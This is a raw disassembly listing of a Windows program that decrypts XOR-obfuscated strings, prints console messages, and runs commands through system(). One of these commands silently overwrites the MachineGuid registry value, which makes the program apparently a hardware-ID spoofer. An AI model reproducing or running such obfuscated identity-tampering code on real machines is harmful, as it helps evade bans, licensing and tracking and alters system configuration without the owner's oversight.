movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x50
jl 0x140790ce0
cmp ecx, 0x51
jge 0x140790e2e
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x51
jl 0x140790e00
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x140826800]
mov dword [rbp + 0xc8], eax
cmp byte [0x140826803], 0
je 0x140790f43
cmp r13d, 2
jl 0x140790f03
movdqa xmm3, xmmword [0x14083c9b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14083ca40]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14083ca40]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xc8], xmm2
lea rcx, [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1407941c9
lea r9, [rbp + 0xc8]
mov r8d, esi
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140790f10
lea rcx, [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1407941c9
movsd xmm0, qword [str.CA_RVR_R:]
movsd qword [rbp + 8], xmm0
movzx ecx, word [0x1408266b0]
mov word [rbp + 0x10], cx
movzx eax, byte [0x1408266b2]
mov byte [rbp + 8], reloc.WS2_32.dll_WSAStartup
xor byte [rbp + 9], 0x31
xor byte [rbp + 0xa], 0x32
xor byte [rbp + 0xb], 0x33
xor byte [rbp + 0xc], 0x34
xor byte [rbp + 0xd], 0x35
xor byte [rbp + 0xe], 0x36
xor byte [rbp + 0xf], 0x37
xor cl, 0x38
mov byte [rbp + 0x10], cl
xor byte [rbp + 0x11], 0x39
xor al, 0x3a
mov byte [rbp + 0x12], al
lea rcx, [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
mov ecx, esi
test ax, ax
jne 0x1407914d8
movups xmm0, xmmword [str.SW__Q]
movups xmmword [rbp + 0xd0], xmm0
movsd xmm0, qword [0x1408266c8]
movsd qword [rbp + 0xe0], xmm0
movzx eax, byte [0x1408266d0]
mov byte [rbp + 0xe8], al
cmp r13d, 2
jl 0x14079112d
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x18
jl 0x140791023
cmp ecx, 0x19
jge 0x14079116e
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x19
jl 0x140791140
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x140826800]
mov dword [rbp + 0xc8], eax
cmp byte [0x140826803], 0
je 0x140791273
cmp r13d, 2
jl 0x140791233
movdqa xmm3, xmmword [0x14083c9b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14083ca40]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14083ca40]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xc8], xmm2
jmp 0x140791273
lea r9, [rbp + 0xc8]
mov r8d, esi
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140791240
lea rcx, [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14084d6c8]
call fcn.1407a0160
mov edx, 3
mov rcx, qword [0x14084db10]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [str.T__QY]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x140826940]
movups xmmword [rbp + 0xe0], xmm1
movzx eax, word [0x140826950]
mov word [rbp + 0xf0], ax
movzx eax, byte [0x140826952]
mov byte [rbp + 0xf2], al
mov ecx, esi
cmp r13d, 2
jl 0x14079142a
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140791320
cmp ecx, 0x23
jge 0x14079146e
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x23
jl 0x140791440
lea rdx, [rbp + 0xd0]
mov rcx, r9
call fcn.140798380
movzx eax, word [0x1408266b0]
mov word [rbp - 0x58], ax
movsd xmm0, qword [str.CA_RVR_R:]
movzx eax, byte [0x1408266b2]
movsd qword [rbp - 0x60], xmm0
mov byte [rbp - 0x60], reloc.WS2_32.dll_WSAStartup
xor byte [rbp - 0x5f], 0x31
xor byte [rbp - 0x5e], 0x32
xor byte [rbp - 0x5d], 0x33
xor byte [rbp - 0x5c], 0x34
xor byte [rbp - 0x5b], 0x35
xor byte [rbp - 0x5a], 0x36
xor byte [rbp - 0x59], 0x37
xor byte [rbp - 0x58], 0x38
xor byte [rbp - 0x57], 0x39
xor al, 0x3a
mov byte [rbp - 0x56], al
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
jmp 0x1407916d1
movups xmm0, xmmword [0x140826ef0]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x140826f00]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x140826f10]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x140826f20]
movups xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [0x140826f30]
movups xmmword [rbp + 0x110], xmm0
movzx eax, byte [0x140826f40]
mov byte [rbp + 0x120], al
cmp r13d, 2
jl 0x14079167a
movdqa xmm5, xmmword [0x14083c9b0]
mov ecx, esi
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x50
jl 0x140791570
cmp ecx, 0x51
jge 0x1407916be
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x51
jl 0x140791690
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x140826800]
mov dword [rbp + 0xc8], eax
cmp byte [0x140826803], 0
je 0x1407917d3
cmp r13d, 2
jl 0x140791793
movdqa xmm3, xmmword [0x14083c9b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14083ca40]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14083ca40]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xc8], xmm2
lea rcx, [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1407941c9
lea r9, [rbp + 0xc8]
mov r8d, esi
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1407917a0
lea rcx, [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1407941c9
lea rcx, [rbp + 0x150]
call fcn.1407893a0
nop
call fcn.140789730
mov r15, qword [rbp + 0x160]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 0x49
jb 0x1407952a0
lea r12, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova r12, qword [rbp + 0x150]
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x180], rsi
mov qword [rbp + 0x188], rsi
lea r14, [r15 + 0x49]
mov edi, reloc.WS2_32.dll_ntohs
lea rbx, [rbp + 0x170]
cmp r14, rdi
jbe 0x1407918da
mov rdi, r14
or rdi, 0xf
cmp rdi, rcx
jbe 0x14079187b
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x1407918a2
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x1407918c1
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1407952c0
mov rcx, rax
call fcn.140810194
test rax, rax
je 0x140795205
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x1407918d3
test rcx, rcx
je 0x1407918d0
call fcn.140810194
mov rbx, rax
jmp 0x1407918d3
mov rbx, rsi
mov qword [rbp + 0x170], rbx
mov qword [rbp + 0x180], r14
mov qword [rbp + 0x188], rdi
movups xmm0, xmmword [str.REG_ADD_HKLMSOFTWAREMicrosoftCryptography__v_MachineGuid__t_REG_SZ__d]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [0x140826400]
movups xmmword [rbx + 0x10], xmm1
movups xmm0, xmmword [0x140826410]
movups xmmword [rbx + 0x20], xmm0
movups xmm1, xmmword [0x140826420]
movups xmmword [rbx + 0x30], xmm1
movsd xmm0, qword [0x140826430]
movsd qword [rbx + 0x40], xmm0
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rbx + 0x48], al
lea rcx, [rbx + 0x49]
mov r8, r15
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r14], 0
mov r8d, 8
lea rdx, str.__f__NUL
lea rcx, [rbp + 0x170]
call fcn.140797ab0
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova rcx, qword [rbp + 0xd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ebx, eax
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x1407919f3
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1407919ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1407951fe
call fcn.14080fdd0
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xd0], 0
mov rdx, qword [rbp + 0x188]
cmp rdx, 0xf
jbe 0x140791a4d
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140791a48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140795205
call fcn.14080fdd0
mov ecx, esi
test ebx, ebx
jne 0x140791ce2
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [0x140826d68]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x140826d78]
movups xmmword [rbp + 0xe0], xmm1
mov eax, dword [0x140826d88]
mov dword [rbp + 0xf0], eax
cmp r13d, 2
jl 0x140791c0a
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140791ad0
cmp ecx, 0x24
jl 0x140791c0a
lea rdx, [rbp + 0xd0]
mov rcx, r9
call fcn.140798380
lea rdx, [0x14084c760]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov r8, rax
mov ecx, dword [0x140826d04]
mov dword [rbp + 0x140], ecx
jmp 0x140791c7c
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x24
jl 0x140791c20
lea rdx, [rbp + 0xd0]
mov rcx, r9
call fcn.140798380
lea rdx, [0x14084c760]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov r8, rax
mov eax, dword [0x140826d04]
mov dword [rbp + 0x140], eax
movzx ecx, byte [0x140826d08]
mov byte [rbp + 0x140], reloc.WLDAP32.dll_Ordinal_32
xor byte [rbp + 0x141], 0x31
xor byte [rbp + 0x142], 0x32
xor byte [rbp + 0x143], 0x33
xor cl, 0x34
mov byte [rbp + 0x144], cl
lea rdx, [rbp + 0x140]
mov rcx, r8
call fcn.140798380
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
mov rcx, rax
call fcn.14079a730
jmp 0x140791ec1
movups xmm0, xmmword [0x1408277c0]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x1408277d0]
movups xmmword [rbp + 0xe0], xmm1
mov eax, dword [0x1408277e0]
mov dword [rbp + 0xf0], eax
movzx eax, byte [0x1408277e4]
mov byte [rbp + 0xf4], al
cmp r13d, 2
jl 0x140791e6a
movdqa xmm5, xmmword [0x14083c9b0]
mov ecx, esi
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140791d60
cmp ecx, 0x25
jge 0x140791eae
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x25
jl 0x140791e80
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
lea rdx, [0x140798550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [0x140826800]
mov dword [rbp + 0xc8], eax
